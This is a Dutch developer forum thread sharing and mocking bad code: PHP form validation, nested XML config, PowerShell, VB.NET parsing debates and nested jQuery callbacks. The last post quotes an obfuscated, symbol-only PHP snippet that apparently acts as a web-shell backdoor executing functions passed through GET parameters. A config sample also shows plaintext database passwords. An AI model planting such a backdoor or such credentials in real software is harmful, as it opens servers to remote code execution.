'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.
- .oisyn
- Registratie: September 2000
- Nu online
Demotivational Speaker
:strip_exif()/u/12461/avatar.gif?f=community)
If I had a dollar for every time I didn't know what was going on, I'd be like: "Why am I always getting all this money?!"
Ja hallo, het is niet de bedoeling om maar iets neer te kwakken om dit topic terug te vinden ja!

[Voor 3% gewijzigd door F.West98 op 22-08-2013 17:16]
2x Dell UP2716D | R9 7950X | 128GB RAM | 980 Pro 2TB x2 | RTX2070 Super
.oisyn: Windows is net zo slecht in commandline als Linux in GUI
QFTF.West98 schreef op donderdag 22 augustus 2013 @ 17:16:
[...]
Ja hallo, het is niet de bedoeling om maar iets neer te kwakken om dit topic terug te vinden ja!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| $first = false; $last = false; $email = false; $vraag = false; $spam = false; $show = false; $address1 = false; $address2 = false; $address3 = false; $phone = false; if(is_email($_POST["e-mail"])){ $email = true; } if(!empty($_POST["firstname"])){ $first = true; } if(!empty($_POST["lastname"])){ $last = true; } if(!empty($_POST["vraag"])){ $vraag = true; } if(!empty($_POST["phone"])){ $phone = true; } if(!empty($_POST["address1"])){ $address1 = true; } if(!empty($_POST["address2"])){ $address2 = true; } if(!empty($_POST["address3"])){ $address3 = true; } |

Och, zo slecht is dat toch niet?wsitedesign schreef op donderdag 22 augustus 2013 @ 17:33:
Weer een stukje oude code gevonden...
code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 $first = false; $last = false; $email = false; $vraag = false; $spam = false; $show = false; $address1 = false; $address2 = false; $address3 = false; $phone = false; if(is_email($_POST["e-mail"])){ $email = true; } if(!empty($_POST["firstname"])){ $first = true; } if(!empty($_POST["lastname"])){ $last = true; } if(!empty($_POST["vraag"])){ $vraag = true; } if(!empty($_POST["phone"])){ $phone = true; } if(!empty($_POST["address1"])){ $address1 = true; } if(!empty($_POST["address2"])){ $address2 = true; } if(!empty($_POST["address3"])){ $address3 = true; }
Diablo III: <GOT> Pteer#2475 --- POE: Dwergux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| <?xml version="1.0" encoding="utf-8"?> <configuration> <appSettings> <add key="somesettings" value=" <?xml version="1.0" encoding="utf-8"?> <hibernate-configuration xmlns="urn:nhibernate-configuration-2.2-x-factories"> <session-factory name="Development"> <property name="connection.provider">NHibernate.Connection.DriverConnectionProvider</property> <property name="dialect">NHibernate.Dialect.MsSql2008Dialect</property> <property name="connection.driver_class">NHibernate.Driver.SqlClientDriver</property> <property name="connection.connection_string">Server=dsql01;DataBase=dbDev;uid=nhDeveloper;pwd=pass1234</property> <property name="show_sql">true</property> <mapping assembly="DataLayer" /> </session-factory> <session-factory name="Production"> <property name="connection.provider">NHibernate.Connection.DriverConnectionProvider</property> <property name="dialect">NHibernate.Dialect.MsSql2008Dialect</property> <property name="connection.driver_class">NHibernate.Driver.SqlClientDriver</property> <property name="connection.connection_string">Server=psql02;DataBase=dbDev;uid=nhDeveloper;pwd=pass5678</property> <property name="show_sql">false</property> <mapping assembly="DataLayer" /> </session-factory> </hibernate-configuration> "/> </appSettings> </configuration> |
(Dit is geen copy/paste maar een reconstructie van 't daadwerkelijke bestand...)

There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.
Roses are red Violets are blue, Unexpected ‘{‘ on line 32.
Over mij

Dat er geen Entity Framework, Linq-to-SQL of wat dan ook is, vooruit. Maar echt 4 verschillende manieren...

We are shaping the future
Herkenbaar. Zo zag mijn eerste php/contact formulier er ook uitwsitedesign schreef op donderdag 22 augustus 2013 @ 17:33:
Weer een stukje oude code gevonden...
code:
1 ...

If money talks then I'm a mime
If time is money then I'm out of time
Herkenbaar voor applicaties waar in de loop der jaren verschillende ontwikkelaars aan gewerkt hebben. Iedere consultant wil toch zijn stempel drukken op dat bagger stukje softwareAlex) schreef op donderdag 22 augustus 2013 @ 18:29:
Een applicatie die uit 4 componenten bestaat die op dezelfde database werken, waarbij ieder component er een andere manier op nahoudt om met die DB te werken.
Dat er geen Entity Framework, Linq-to-SQL of wat dan ook is, vooruit. Maar echt 4 verschillende manieren...

-- keep it clean

We are shaping the future
(PowerShell)
1
| $OU = $($($ComputerADObject -Split "DC=")[1..$($ComputerADObject -Split "DC=").Count].Replace(",",".") -Join '') + ($($($($($($ComputerADObject -Split "DC=") -Split "DC=")[0].Split(",",[StringSplitOptions]'RemoveEmptyEntries'))[1..$($($ComputerADObject -Split "DC=")[0].Split(",").Count)].Replace("OU=","/")))[$(($($ComputerADObject[0].Split(",",[StringSplitOptions]'RemoveEmptyEntries')).Count) - 2)..0] -Join '') |
Werkt wel goed trouwens, maar ziet er niet uit.
Wat dat ding doet overigens is
LDAP://OU=Users,OU=Tweakers,CN=www,CN=contoso,CN=co,CN=uk
omzetten naar
www.contoso.co.uk/Tweakers/Users
[Voor 12% gewijzigd door YellowOnline op 23-08-2013 09:22]
Ach ik heb serieus wel eens meegemaakt dat er een XML verstuurd werd met daarin een element waarin een Base-64 encoded zip file zat, waarin weer een XML file zatRobIII schreef op donderdag 22 augustus 2013 @ 17:51:
Uit een app.config van een niet nader te noemen product:
XML:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?xml version="1.0" encoding="utf-8"?> <configuration> <appSettings> <add key="somesettings" value=" <?xml version="1.0" encoding="utf-8"?> <hibernate-configuration xmlns="urn:nhibernate-configuration-2.2-x-factories"> <session-factory name="Development"> <property name="connection.provider">NHibernate.Connection.DriverConnectionProvider</property> <property name="dialect">NHibernate.Dialect.MsSql2008Dialect</property> <property name="connection.driver_class">NHibernate.Driver.SqlClientDriver</property> <property name="connection.connection_string">Server=dsql01;DataBase=dbDev;uid=nhDeveloper;pwd=pass1234</property> <property name="show_sql">true</property> <mapping assembly="DataLayer" /> </session-factory> <session-factory name="Production"> <property name="connection.provider">NHibernate.Connection.DriverConnectionProvider</property> <property name="dialect">NHibernate.Dialect.MsSql2008Dialect</property> <property name="connection.driver_class">NHibernate.Driver.SqlClientDriver</property> <property name="connection.connection_string">Server=psql02;DataBase=dbDev;uid=nhDeveloper;pwd=pass5678</property> <property name="show_sql">false</property> <mapping assembly="DataLayer" /> </session-factory> </hibernate-configuration> "/> </appSettings> </configuration>
(Dit is geen copy/paste maar een reconstructie van 't daadwerkelijke bestand...)
[afbeelding]

En het was niet zo dat er in de outer xml verder nog interessante dingen zaten ofzo

“Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.”
Ik zouWoy schreef op vrijdag 23 augustus 2013 @ 09:40:
[...]
Ach ik heb serieus wel eens meegemaakt dat er een XML verstuurd werd met daarin een element waarin een Base-64 encoded zip file zat, waarin weer een XML file zat



There are only two hard problems in distributed systems: 2. Exactly-once delivery 1. Guaranteed order of messages 2. Exactly-once delivery.
Roses are red Violets are blue, Unexpected ‘{‘ on line 32.
Over mij
Toevallig met EBICS bezig geweest?Woy schreef op vrijdag 23 augustus 2013 @ 09:40:
[...]
Ach ik heb serieus wel eens meegemaakt dat er een XML verstuurd werd met daarin een element waarin een Base-64 encoded zip file zat, waarin weer een XML file zat
En het was niet zo dat er in de outer xml verder nog interessante dingen zaten ofzo
Het hele gezipte gedeelte is ook nog eens ge-encrypt. Is een Duits/Franse standaard om PAIN.008 bestanden te versturen naar een bank. Alleen hoewel het een standaard is hebben zowel de duitsers als fransen hun eigen uitzonderingen erin weten te krijgen

[Voor 19% gewijzigd door Ozzie op 23-08-2013 16:06]
"Write code as if the next maintainer is a vicious psychopath who knows where you live."

sig
Mag hopen dat dit sarcastisch bedoeld is? Zo niet, nou volgens mij kan dit wel een stuk korter

Anoniem: 61109
Tja, goede code is het niet, maar eerder code van iemand die nog niet zo lang programmeert... Niet per se een slecht programmeervoorbeeld imhojhuiting schreef op vrijdag 23 augustus 2013 @ 16:11:
[...]
Mag hopen dat dit sarcastisch bedoeld is? Zo niet, nou volgens mij kan dit wel een stuk korter

[Voor 6% gewijzigd door MBV op 23-08-2013 17:56. Reden: tvp :P]
Om trouwens nog maar te zwijgen van de "xml" die er in zat. Fijne string concat troepRobIII schreef op vrijdag 23 augustus 2013 @ 09:47:
[...]
Ik zouen
gepost hebben ware 't niet dat ik 'tzelfde meegemaakt heb en je pijn voel





Nope, ergens een intern systeempje dat gebouwd is in de tijd dat XML hip was, en alles in XML moest.Ozzie schreef op vrijdag 23 augustus 2013 @ 15:59:
[...]
Toevallig met EBICS bezig geweest?
[afbeelding]
“Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.”
Wat ik nog vaak terugzie uit die tijd, is mensen die vol trots XML als skill/taal op hun LinkedIn profiel zettenWoy schreef op vrijdag 23 augustus 2013 @ 18:21:
[...]
Nope, ergens een intern systeempje dat gebouwd is in de tijd dat XML hip was, en alles in XML moest.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| public class CardTypeWrapper implements Comparable<CardTypeWrapper> { public static final int CARDNUMBER_PART_LENGTH = 4; @Getter private final CardType cardType; private final AccountService accountService; public CardTypeWrapper(CardType cardType, [b]AccountService accountService[/b]) { this.cardType = cardType; this.accountService = accountService; } ... } |
Dit is een model (ok, een convenience-wrapper voor een model) uit een project waar ik momenteel aan werk. Superhandig om even de halve Servicelaag mee te geven aan de constructor


Ik ken de context natuurlijk niet, maar je ziet wel vaker bij factory implementaties dat de factory zichzelf meegeeft aan het geproduceerde ding.
[Voor 74% gewijzigd door MBV op 24-08-2013 00:32]
Die pointer is natuurlijk opeens heel vervelend wanneer het object (deep)serialized wordt... Het gaat gewoon om het idee: dit is geen goed separation of concerns. Die accountService is geen Factory, da's gewoon een groot deel van de Business/Servicelaag waar direct meerdere Soap-services achter hangen. In dit geval is ie er ingestopt zodat het model zichzelf op aanvraag kan verreiken. Dat had ergens anders gemoeten IMHO.MBV schreef op zaterdag 24 augustus 2013 @ 00:31:
Het is maar een pointer
Ik ken de context natuurlijk niet, maar je ziet wel vaker bij factory implementaties dat de factory zichzelf meegeeft aan het geproduceerde ding.
De

Ik zei al, ik heb de context niet. Juist voor het 'zichzelf verreiken' kan het makkelijk zijn om de factory pointer mee te geven, of de singleton factory te benaderen. Dat is niet de mooiste methode, maar kan erg makkelijk zijn als je de interface van je module wilt beperken.
- Linus Torvalds
After all, we are nothing more or less than what we choose to reveal.
Oh vandaar dat hij Git gemaakt heeft...Devil schreef op zondag 25 augustus 2013 @ 23:03:
"Publicly making fun of poeple is half the fun of opensource programming"
- Linus Torvalds

Voor een groot Frans postbedrijf zou dit toch echt niet mogen

En dan heb ik het nog niet over het feit dat het pakje in kwestie al een week aan het rondsorteren is in het Noorden van Frankrijk, maar dat is niets voor in dit topic daarentegen
git. Ik wil naar de huidige maatstaven NOOIT meer een andere VCS. Gedistribueerd versiebeheersysteem. Heeerlijk!
If money talks then I'm a mime
If time is money then I'm out of time
http://hg.icculus.org/icc...Source/GameTick.cpp#l7276
- .oisyn
- Registratie: September 2000
- Nu online
Demotivational Speaker
:strip_exif()/u/12461/avatar.gif?f=community)

If I had a dollar for every time I didn't know what was going on, I'd be like: "Why am I always getting all this money?!"
OMG, als je dat nog kunt onderhouden moet je wel een programmeer god zijnPrisonerOfPain schreef op vrijdag 06 september 2013 @ 14:56:
Dit verdient toch wel een ere-positie in dit topic:
http://hg.icculus.org/icc...Source/GameTick.cpp#l7276


“Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.”
Ik vind alles beter dan geen VCS (met een mogelijke uitzondering voor SourceSafe).Matis schreef op maandag 26 augustus 2013 @ 22:05:
[...]
git. Ik wil naar de huidige maatstaven NOOIT meer een andere VCS. Gedistribueerd versiebeheersysteem. Heeerlijk!
1
2
3
4
5
6
7
| #ifdef RETAIL uint stackSize = 96 * 1024; #else uint stackSize = 256 * 1024; #endif // create thread met stackSize |
Waarom zou het toch stuk gaan

[Voor 10% gewijzigd door PrisonerOfPain op 11-09-2013 07:29]
Die developer had daarvoor op z'n flikker gekregen omdat 'ie XML blobs in de DB opsloeg. Heeft 'ie het gerefactored, is het nog niet goed!RobIII schreef op donderdag 22 augustus 2013 @ 17:51:
Uit een app.config van een niet nader te noemen product:
XML:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?xml version="1.0" encoding="utf-8"?> <configuration> <appSettings> <add key="somesettings" value=" <?xml version="1.0" encoding="utf-8"?> <hibernate-configuration xmlns="urn:nhibernate-configuration-2.2-x-factories"> <session-factory name="Development"> <property name="connection.provider">NHibernate.Connection.DriverConnectionProvider</property> <property name="dialect">NHibernate.Dialect.MsSql2008Dialect</property> <property name="connection.driver_class">NHibernate.Driver.SqlClientDriver</property> <property name="connection.connection_string">Server=dsql01;DataBase=dbDev;uid=nhDeveloper;pwd=pass1234</property> <property name="show_sql">true</property> <mapping assembly="DataLayer" /> </session-factory> <session-factory name="Production"> <property name="connection.provider">NHibernate.Connection.DriverConnectionProvider</property> <property name="dialect">NHibernate.Dialect.MsSql2008Dialect</property> <property name="connection.driver_class">NHibernate.Driver.SqlClientDriver</property> <property name="connection.connection_string">Server=psql02;DataBase=dbDev;uid=nhDeveloper;pwd=pass5678</property> <property name="show_sql">false</property> <mapping assembly="DataLayer" /> </session-factory> </hibernate-configuration> "/> </appSettings> </configuration>
(Dit is geen copy/paste maar een reconstructie van 't daadwerkelijke bestand...)
[afbeelding]

Heb zelf wel XML/XSLT op m'n profiel staan omdat ik een project met formatting objects (PDFs genereren vanuit XML) gedaan heb. Heb een ker een sollicitatie bijgewoond van een 'developer' die dat ook op z'n CV had staan en ik vroeg dus gewoon uit interesse wat 'ie precies gemaakt had. Oops, gelogen! Als je buzzwords kopieert weet dan tenminste wat 't betekent...Kajel schreef op vrijdag 23 augustus 2013 @ 23:23:
[...]
Wat ik nog vaak terugzie uit die tijd, is mensen die vol trots XML als skill/taal op hun LinkedIn profiel zetten
[Voor 11% gewijzigd door Hydra op 11-09-2013 09:42]
https://niels.nu
[Voor 97% gewijzigd door Hydra op 11-09-2013 09:41]
https://niels.nu
http://www.colissimo.fr/portail_colissimo/suivre.do stuurt netjeswsitedesign schreef op maandag 26 augustus 2013 @ 10:58:
[afbeelding]
Voor een groot Frans postbedrijf zou dit toch echt niet mogen![]()
En dan heb ik het nog niet over het feit dat het pakje in kwestie al een week aan het rondsorteren is in het Noorden van Frankrijk, maar dat is niets voor in dit topic daarentegen
1
| Content-Type:text/html;charset=ISO-8859-1 |
mee, dus is het best gek dat jouw client dat als UTF-8 probeert te interpreteren...

[Voor 36% gewijzigd door NC83 op 11-09-2013 12:09]
ex-FE Programmer: CMR:DiRT2,DiRT 3, DiRT Showdown, GRID 2, Mad Max
Niet helemaal:ValHallASW schreef op woensdag 11 september 2013 @ 09:56:
[...]
http://www.colissimo.fr/portail_colissimo/suivre.do stuurt netjes
code:
1 Content-Type:text/html;charset=ISO-8859-1
mee, dus is het best gek dat jouw client dat als UTF-8 probeert te interpreteren...
1
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> |
Ik weet alleen niet hoe een browser hiermee om zou moeten gaan. Welke regel voorrang hoort te krijgen op de andere. Dat er een conflict is vind ik echter niet zo gek.
Initieel wordt de HTTP header gebruikt om de character set encoding voor de HTML parser in te stellen. Dan wordt de <head> sectie van de HTML pagina gelezen totdat bovenstaand type meta element gevonden is. Op dat moment wordt de parser omgezet naar de character set encodig die via het meta element opgegeven is, wordt de huidig lopende parsering voor de pagina ongedaan gemaakt en wordt alles vanaf het startpunt opnieuw ingelezen.mbarie schreef op woensdag 11 september 2013 @ 14:30:
[...]
Niet helemaal:
code:
1 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
Ik weet alleen niet hoe een browser hiermee om zou moeten gaan. Welke regel voorrang hoort te krijgen op de andere. Dat er een conflict is vind ik echter niet zo gek.
Dat kan inhouden dat ook aan het document verbonden tekstuele resources zoals JS en CSS opnieuw uitgelezen moeten worden. Als deze opgehaald worden zonder een expliciete character set declaratie via de HTML broncode of een HTTP header, moeten ze namelijk de character set encoding van het HTML document over nemen.
Het is zeer slecht voor de page load performance is om deze anders in te stellen dan de HTTP header (of om helemaal geen HTTP header in te stellen en alleen het meta element te gebruiken). In het slechtste geval moet de pagina eigenlijk compleet herstart worden, omdat de JavaScript VM state reeds aangepast is via code die reeds gedraaid heeft. (Geen idee echter of browsers dat ook daadwerkelijk doen, trouwens.)
Nulletje te veel in max 80 cols?PrisonerOfPain schreef op vrijdag 06 september 2013 @ 14:56:
Dit verdient toch wel een ere-positie in dit topic:
http://hg.icculus.org/icc...Source/GameTick.cpp#l7276
En een functie van 7000 regels is ook ergens een factor 100 te veel...
[Voor 11% gewijzigd door windwarrior op 12-09-2013 01:06]
Als je die code ziet zou je willen dat 'ie zich aan de 80 cols houdAnoniem: 61109 schreef op donderdag 12 september 2013 @ 11:07:
Brrrrr 80 cols, werken jullie nog met ponskaarten ofzo

Ach, indenting wegmieteren en je komt al redelijk in de buurt van de 80 vermoed ik.PrisonerOfPain schreef op donderdag 12 september 2013 @ 11:13:
[...]
Als je die code ziet zou je willen dat 'ie zich aan de 80 cols houd
Nog wat lange variabele namen omzetten naar 1-letterige codes en je komt weer een stuk in de buurt.
Dat zijn over het algemeen de dingen die ik zie gebeuren als men strict 80-koloms zonder verstand gaat doorvoeren.

- .oisyn
- Registratie: September 2000
- Nu online
Demotivational Speaker
:strip_exif()/u/12461/avatar.gif?f=community)
If I had a dollar for every time I didn't know what was going on, I'd be like: "Why am I always getting all this money?!"
Ik heb toch liever dat je dan rond de 120 toch eens begint te denken over een enter eerlijk gezegd. Vooral met potrait monitors.PrisonerOfPain schreef op donderdag 12 september 2013 @ 12:00:
800 is de nieuwe rage.
ex-FE Programmer: CMR:DiRT2,DiRT 3, DiRT Showdown, GRID 2, Mad Max
1
| Dim splitString = myString.Split(Char.Parse(";")) |


"Want gewoon een char typen gaat niet in VB.NET" ...
1
| Dim splitString = myString.Split(";"c) |
Oh boy, ik kan beter niet in oude code duiken.
En hoe denk je dat de compiler hier mee omgaat?Styxxy schreef op donderdag 12 september 2013 @ 19:05:
Visual Basic .NET:
1 Dim splitString = myString.Split(Char.Parse(";"))
"Want gewoon een char typen gaat niet in VB.NET" ...
Visual Basic .NET:
1 Dim splitString = myString.Split(";"c)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| IL_0001: ldstr "1;2;3;4" IL_0006: stloc.0 // myString IL_0007: ldloc.0 // myString IL_0008: ldc.i4.1 IL_0009: newarr System.Char IL_000E: stloc.3 // VB$t_array$S0 IL_000F: ldloc.3 // VB$t_array$S0 IL_0010: ldc.i4.0 IL_0011: ldstr ";" IL_0016: call System.Char.Parse IL_001B: stelem.i2 IL_001C: ldloc.3 // VB$t_array$S0 IL_001D: callvirt System.String.Split IL_0022: stloc.1 // splitString1 IL_0023: ldloc.0 // myString IL_0024: ldc.i4.1 IL_0025: newarr System.Char IL_002A: stloc.3 // VB$t_array$S0 IL_002B: ldloc.3 // VB$t_array$S0 IL_002C: ldc.i4.0 IL_002D: ldc.i4.s 3B IL_002F: stelem.i2 IL_0030: ldloc.3 // VB$t_array$S0 IL_0031: callvirt System.String.Split IL_0036: stloc.2 // splitString2 |
Scheelt inderdaad 1 hele call....
Al tik ik zelf ook altijd ";"c, kan ik me echt niet druk maken over bovenstaande notatie....Styxxy schreef op donderdag 12 september 2013 @ 19:05:
Oh boy, ik kan beter niet in oude code duiken.
Dan zijn er echt grotere koekebakkers....
- .oisyn
- Registratie: September 2000
- Nu online
Demotivational Speaker
:strip_exif()/u/12461/avatar.gif?f=community)
Je laat nou net het essentiele niet zien, en dat is wat er in Char.Parse() gebeurt. En nog veel belangrijker, wat de JITer er uiteindelijk van maakt.HeSitated schreef op donderdag 12 september 2013 @ 20:46:
[...]
En hoe denk je dat de compiler hier mee omgaat?
Wat is dat nou voor nutteloos criteriumScheelt inderdaad 1 hele call....

[Voor 23% gewijzigd door .oisyn op 12-09-2013 21:04]
If I had a dollar for every time I didn't know what was going on, I'd be like: "Why am I always getting all this money?!"
Klopt, maar niet als zulke zaken schering en inslag zijn.HeSitated schreef op donderdag 12 september 2013 @ 20:46:
Al tik ik zelf ook altijd ";"c, kan ik me echt niet druk maken over bovenstaande notatie....
Dan zijn er echt grotere koekebakkers....
Het gaat trouwens niet om performance, maar om notatie. Je kan alles in strings steken en dan gaan parsen.
Jij kan je daar dus niet over druk maken. Ik stel het onderstaande voor. Wat vind je daar van?
1
2
3
4
5
6
7
| Public Sub MyFunction(param As Integer) ' Some code here End Sub Public Sub Caller() MyFunction(Integer.Parse("1")) End Sub |
Dit doet Char.Parse:HeSitated schreef op donderdag 12 september 2013 @ 20:46:
[...]
En hoe denk je dat de compiler hier mee omgaat?
[...]
Scheelt inderdaad 1 hele call....
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| .method public hidebysig static char Parse ( string s ) cil managed { // Method begins at RVA 0x1a64c // Code size 47 (0x2f) .maxstack 8 IL_0000: ldarg.0 IL_0001: brtrue.s IL_000e IL_0003: ldstr "s" IL_0008: newobj instance void System.ArgumentNullException::.ctor(string) IL_000d: throw IL_000e: ldarg.0 IL_000f: callvirt instance int32 System.String::get_Length() IL_0014: ldc.i4.1 IL_0015: beq.s IL_0027 IL_0017: ldstr "Format_NeedSingleChar" IL_001c: call string System.Environment::GetResourceString(string) IL_0021: newobj instance void System.FormatException::.ctor(string) IL_0026: throw IL_0027: ldarg.0 IL_0028: ldc.i4.0 IL_0029: callvirt instance char System.String::get_Chars(int32) IL_002e: ret } // end of method Char::Parse |
Het code pad dat hij dus effectief uitvoert:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| .method public hidebysig static char Parse ( string s ) cil managed { // Method begins at RVA 0x1a64c // Code size 47 (0x2f) .maxstack 8 IL_0000: ldarg.0 IL_0001: brtrue.s IL_000e IL_000e: ldarg.0 IL_000f: callvirt instance int32 System.String::get_Length() IL_0014: ldc.i4.1 IL_0015: beq.s IL_0027 IL_0027: ldarg.0 IL_0028: ldc.i4.0 IL_0029: callvirt instance char System.String::get_Chars(int32) IL_002e: ret } // end of method Char::Parse |
[Voor 56% gewijzigd door Styxxy op 12-09-2013 21:03]
Was niet de bedoeling om op "verstuur" te klikken

[Voor 93% gewijzigd door Styxxy op 12-09-2013 21:00]
Dit is de uitvoer zoals LINQPad die terug leest uit IL..oisyn schreef op donderdag 12 september 2013 @ 20:53:
[...]
Je laat nou net het essentiele niet zien, en dat is wat er in Char.Parse() gebeurt. En nog veel belangrijker, wat de JITer er uiteindelijk van maakt.
1
2
3
4
5
6
7
8
9
10
11
| Dim myString = "1;2;3;4" dim startTijd = Datetime.now for i as integer = 0 to 10000000 Dim splitString1 = myString.Split(Char.Parse(";")) next Datetime.now.Subtract(startTijd).Duration.Dump() startTijd = Datetime.now for i as integer = 0 to 10000000 Dim splitString2 = myString.Split(";"c) next Datetime.now.Subtract(startTijd).Duration.Dump() |
Uitvoer bij 10.000.000 keer uitvoeren:
00:00:01.4071407
00:00:01.3751375

Dit is zo totaal onvergelijkbaar...Styxxy schreef op donderdag 12 september 2013 @ 20:57:
Het gaat trouwens niet om performance, maar om notatie. Je kan alles in strings steken en dan gaan parsen.
Jij kan je daar dus niet over druk maken. Ik stel het onderstaande voor. Wat vind je daar van?
Visual Basic .NET:
1 2 3 4 5 6 7 Public Sub MyFunction(param As Integer) ' Some code here End Sub Public Sub Caller() MyFunction(Integer.Parse("1")) End Sub

Want bij de split is het nog steeds duidelijk wat er moet gebeuren (en moet het omdat MS een overload is vergeten).
In jouw voorbeeld ga je parsen om het onduidelijk te maken.
Op zoek naar een nieuwe collega, .NET webdev, voornamelijk productontwikkeling. DM voor meer info
Nee, je moet een c erachter voegen. Dus de notatie van een char in VB.NET is:Grijze Vos schreef op donderdag 12 september 2013 @ 22:03:
Ondersteund vb btw niet net als C# gewoon single quotes voor chars?
1
| Dim myChar As Char = "a"c |
Dat is toch exact hetzelfde hoor... Gewoon Char door Integer gewijzigd. Je zegt nu, "je mag het voor geen enkel type doen, behalve Char." Waarom? Omdat char lijkt op een string (ook al is het geen string)?HeSitated schreef op donderdag 12 september 2013 @ 21:09:
[...]
Dit is zo totaal onvergelijkbaar...![]()
Want bij de split is het nog steeds duidelijk wat er moet gebeuren (en moet het omdat MS een overload is vergeten).
In jouw voorbeeld ga je parsen om het onduidelijk te maken.
Ja, MS is een overload vergeten, wat irritant is, maar so be it.
Ja en? Ik had toch al gezegd dat de performantie niet het probleem was?HeSitated schreef op donderdag 12 september 2013 @ 21:09:
[...]Uitvoer bij 10.000.000 keer uitvoeren:
[Voor 31% gewijzigd door Styxxy op 13-09-2013 00:29]
Edit; Ik heb het overigens over C onder Linux.
[Voor 11% gewijzigd door Matis op 13-09-2013 22:54]
If money talks then I'm a mime
If time is money then I'm out of time

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
| $('#bedrijfkies').on("keyup", function (e) { var waarde = $('#bedrijfkies').val(); if (((e.which <= 90 && e.which >= 48) || e.which == 8 || e.which == 32) && waarde != "") { $.ajax({ url: '/Admin/JS/Get_Bedrijf', type: 'POST', dataType: 'json', data: { chars: waarde, all: true }, success: function (data) { $('#bedrijven').empty(); $.each(data, function (i, product) { $('#bedrijven').append("<li><a href=\"\" class=\"choose_serie\" data-id=\"" + product.id + "\">" + product.name + "</a></li>"); }); $('.choose_serie').on("click", function (event) { var elem = $(event.target); var id = elem.data('id'); $('#bedrijf').val(id); $.ajax({ url: '/Admin/JS/Get_Versie', type: 'POST', dataType: 'json', data: { productid: $('#product').val() }, success: function (data) { $('#versies').empty(); $.each(data, function (i, versie) { $('#versies').append("<li><a href=\"\" class=\"choose_versie\" data-id=\"" + versie.name + "\">" + versie.name + "</a></li>"); }); $('#fsk').show(); $('.choose_versie').on("click", function (e) { var elem = $(e.target); var id = elem.data('id'); $('#versie_serie').val(id); $.ajax({ url: '/Admin/JS/Get_Licentievorm', type: "POST", dataType: 'json', data: { productid: $('#product').val(), versieserie: $('#versie_serie').val() }, success: function (data) { $('#vormen').empty(); $.each(data, function (i, vorm) { $('#vormen').append("<li><a href=\"\" class=\"choose_type\" data-i=\"" + i + "\" data-id=\"" + vorm.name + "\" data-typeid=\"" + vorm.vormid + "\">" + vorm.vorm + "</a></li>"); }); $('.float-left').show(); $('.choose_type').on("click", function (e) { var elem = $(e.target); var id = elem.data('id'); var i = elem.data('i'); $('#type').val(id); $('#licentietype').val(elem.data("typeid")); $('#velden').empty(); $.each(data[i]["velden"], function (i, veld) { $('#velden').append(veld); //$('#velden').append("<div class=\"editor-label\">" + veld + "</div><div class=\"editor-field\"><input name=\"additional["+veld+"]\" type=\"text\" /></div>"); }); $('#velden input').each(function (i, elem) { var name = elem.name; elem.name = "additional[" + name + "]"; }); $('input[type=datetime]').datepicker({ showOtherMonths: true, selectOtherMonths: true, changeYear: true, changeMonth: true, dateFormat: "dd-mm-yy" }); $('.float-right').show(); e.preventDefault(); }); } }); e.preventDefault(); }); } }); event.preventDefault(); }); } }); } else if (waarde == "") { $('#bedrijven').empty(); } }); |
2x Dell UP2716D | R9 7950X | 128GB RAM | 980 Pro 2TB x2 | RTX2070 Super
.oisyn: Windows is net zo slecht in commandline als Linux in GUI
"If you don't have time to do it right, when will you have time to do it over?’F.West98 schreef op zaterdag 14 september 2013 @ 00:54:
Eentje van mezelf van laatst; te lui om beter te maken in eerste instantie, daarna een probleem
JavaScript:
1 2 3 $('#bedrijfkies').on("keyup", function (e) { [...] });
Ik kwam daarstraks deze beauty tegen:
1
2
3
4
5
6
7
| @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] ); |
Verdere uitleg over wat het doet hier (maar je kan natuurlijk ook gewoon de code lezen). Code op zich vind ik er zelf goed uit zien, maar vind dat de variabele naam $__ wat beschrijvender gekozen had kunnen worden

[Voor 0% gewijzigd door Freeaqingme op 14-09-2013 01:01. Reden: Eerste persoon enkelvoud van 'vinden' is 'vind' niet 'vindt']
No trees were harmed in creating this message. However, a large number of electrons were terribly inconvenienced.
PreciesFreeaqingme schreef op zaterdag 14 september 2013 @ 01:01:
[...]
"If you don't have time to do it right, when will you have time to do it over?’

Net BrainfuckIk kwam daarstraks deze beauty tegen:
PHP:
